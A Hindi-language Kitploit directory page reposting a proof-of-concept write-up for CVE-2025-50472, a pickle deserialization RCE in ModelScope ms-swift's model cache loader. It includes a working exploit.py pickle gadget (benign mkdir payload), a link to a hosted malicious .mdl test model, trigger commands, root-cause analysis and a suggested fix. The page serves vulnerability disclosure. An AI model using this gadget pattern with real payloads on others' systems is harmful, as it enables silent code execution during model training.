Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-50472 — CVE-2025-50472 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, ModelScope ms-swift के ModelFileSystemCache में दुर्भावनापूर्ण .mdl फ़ाइलों के माध्यम से एक deserialization RCE भेद्यता। | Kitploit
उपकरण/GitHubGitHub/before-rain/cve-2025-50472
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubbefore-rain/cve-2025-50472

CVE-2025-50472

CVE-2025-50472 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, ModelScope ms-swift के ModelFileSystemCache में दुर्भावनापूर्ण .mdl फ़ाइलों के माध्यम से एक deserialization RCE भेद्यता।

रिपॉजिटरी देखें
121 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-50472

ModelScope Ms-Swift ModelFileSystemCache अविश्वसनीय डेटा के डिसेरियलाइज़ेशन से रिमोट कोड निष्पादन भेद्यता

RCE PoC

मैंने परीक्षण उद्देश्यों के लिए ModelScope पर एक दुर्भावनापूर्ण .mdl फ़ाइल वाला कोड रिपॉजिटरी अपलोड किया। इसका उपयोग सीधे परीक्षण के दौरान किया जा सकता है। लिंक है: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files

चित्र

.mdl फ़ाइल में एम्बेडेड दुर्भावनापूर्ण कोड है, लेकिन ModelScope पर कोई सुरक्षा चेतावनी प्रदर्शित नहीं होती है।

PoC Code:

root@kitploit:~
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
    --model_type qwen1half-0_5b-chat \
    --model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
    --dataset blossom-math-zh \
    --num_train_epochs 5 \
    --sft_type lora \
    --output_dir output \
    --eval_steps 200

समस्या को पुन: उत्पन्न करने की प्रक्रिया इस प्रकार है:

  1. मॉडल डाउनलोड किया जाता है

    p1
  2. दुर्भावनापूर्ण कोड निष्पादित होने के बाद, प्रशिक्षण बिना किसी रुकावट के सामान्य रूप से जारी रहता है

    चित्र
  3. दुर्भावनापूर्ण पेलोड सफलतापूर्वक निष्पादित किया जाता है

    चित्र

1. भेद्यता का उच्च-स्तरीय अवलोकन और प्रभाव:

modelscope/ms-swift लाइब्रेरी 2.6.1 तक ModelFileSystemCache() वर्ग के load_model_meta() फ़ंक्शन के अंतर्गत अविश्वसनीय डेटा के डिसेरियलाइज़ेशन के माध्यम से मनमाना कोड निष्पादन के लिए असुरक्षित है। हमलावर एक दुर्भावनापूर्ण सीरियलाइज़्ड .mdl पेलोड तैयार करके, संभावित रूप से अविश्वसनीय स्रोतों से डेटा पर pickle.load() के उपयोग का शोषण करके मनमाना कोड और कमांड निष्पादित कर सकते हैं। यह भेद्यता पीड़ितों को सामान्य प्रशिक्षण प्रक्रिया के दौरान एक प्रतीत होने वाले हानिरहित चेकपॉइंट को लोड करने में धोखा देकर रिमोट कोड निष्पादन (RCE) की अनुमति देती है, जिससे हमलावर लक्ष्य मशीन पर मनमाना कोड निष्पादित कर सकते हैं।

ध्यान दें कि पेलोड फ़ाइल एक छिपी हुई फ़ाइल है, जिससे पीड़ित के लिए छेड़छाड़ का पता लगाना मुश्किल हो जाता है। अधिक महत्वपूर्ण बात, मॉडल प्रशिक्षण प्रक्रिया के दौरान, .mdl फ़ाइल लोड होने और मनमाना कोड निष्पादित करने के बाद, सामान्य प्रशिक्षण प्रक्रिया अप्रभावित रहती है, जिसका अर्थ है कि उपयोगकर्ता मनमाना कोड निष्पादन से अनजान रहता है।

2. असुरक्षित उत्पाद

  • उत्पाद: modelscope ms-swift
  • मॉड्यूल: ModelFileSystemCache
  • फ़ाइल: swift/hub/utils/caching.py
  • संस्करण: <=2.6.1
  • GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

3. मूल कारण विश्लेषण

  • भेद्यता का विस्तृत विवरण: यह भेद्यता अविश्वसनीय डेटा के असुरक्षित डिसेरियलाइज़ेशन के परिणामस्वरूप होती है। स्क्रिप्ट छिपी हुई कैश फ़ाइल को लोड करने के लिए pickle.load का उपयोग करती है और कोड निष्पादन के लिए असुरक्षित है।

  • इनपुट से असुरक्षित स्थिति तक कोड प्रवाह:

    • मॉडल प्रशिक्षण के दौरान, उपयोगकर्ता ने ModelScope से मॉडल प्राप्त करने के लिए डिफ़ॉल्ट मॉडल डाउनलोड विधि का उपयोग किया। मॉडल को पथ ~/.cache/modelscope/hub/xx/xx के अंतर्गत संग्रहीत किया गया था, जहां मॉडल निर्देशिका में एक .mdl कैश फ़ाइल मौजूद थी, जिसमें मॉडल नाम जैसी बुनियादी जानकारी थी।
    • उपयोगकर्ता ने फिर डाउनलोड किए गए मॉडल का उपयोग फाइन-ट्यूनिंग या अन्य प्रशिक्षण प्रक्रियाओं के लिए किया।
    • जब caching.py स्क्रिप्ट ने .mdl फ़ाइल को डिसेरियलाइज़ किया, तो फ़ाइल में एम्बेडेड दुर्भावनापूर्ण कोड निष्पादित किया गया।
  • इंजेक्शन बिंदु: यह भेद्यता उस बिंदु पर होती है जहां pickle.load को कॉल किया जाता है। GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

  • सुझाए गए सुधार: कॉन्फ़िगरेशन फ़ाइलों (मॉडल फ़ाइलों के बजाय) को संभालते समय, मनमाना कोड निष्पादन के जोखिम को कम करने के लिए yaml.safe_load(yaml_file) या json.load जैसी सुरक्षित फ़ाइल पार्सिंग विधियों को अपनाने की सिफारिश की जाती है।

4. PoC

  1. पीड़ित के सिस्टम पर एक निर्देशिका बनाने के लिए एक दुर्भावनापूर्ण कैश फ़ाइल .mdl बनाने के लिए exploit.py चलाएँ:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('mkdir HACKED',))  

# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
    f.write(data)
  1. मॉडल निर्देशिका में मूल .mdl फ़ाइल को ऊपर उत्पन्न दुर्भावनापूर्ण फ़ाइल से बदलें।

  2. जब प्रशिक्षण के दौरान स्थानीय मॉडल निर्देशिका को संदर्भित करने के लिए model_id_or_path पैरामीटर निर्दिष्ट किया जाता है, तो निर्दिष्ट पथ में एक छेड़छाड़ की गई .mdl फ़ाइल रिमोट कोड निष्पादन (RCE) का कारण बन सकती है। महत्वपूर्ण बात, इस तरह का संशोधन सामान्य प्रशिक्षण कार्यप्रवाह को बाधित नहीं करता है, जिससे RCE हमला छिपा हुआ और उपयोगकर्ताओं के लिए पता लगाना मुश्किल हो जाता है।

root@kitploit:~
CUDA_VISIBLE_DEVICES=0 swift sft     --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat     --dataset blossom-math-zh     --num_train_epochs 5     --sft_type lora     --output_dir output     --eval_steps 200

लेखक

Hao Fan(凡浩) and Yu Rong(戎誉)

टूल डाउनलोड करें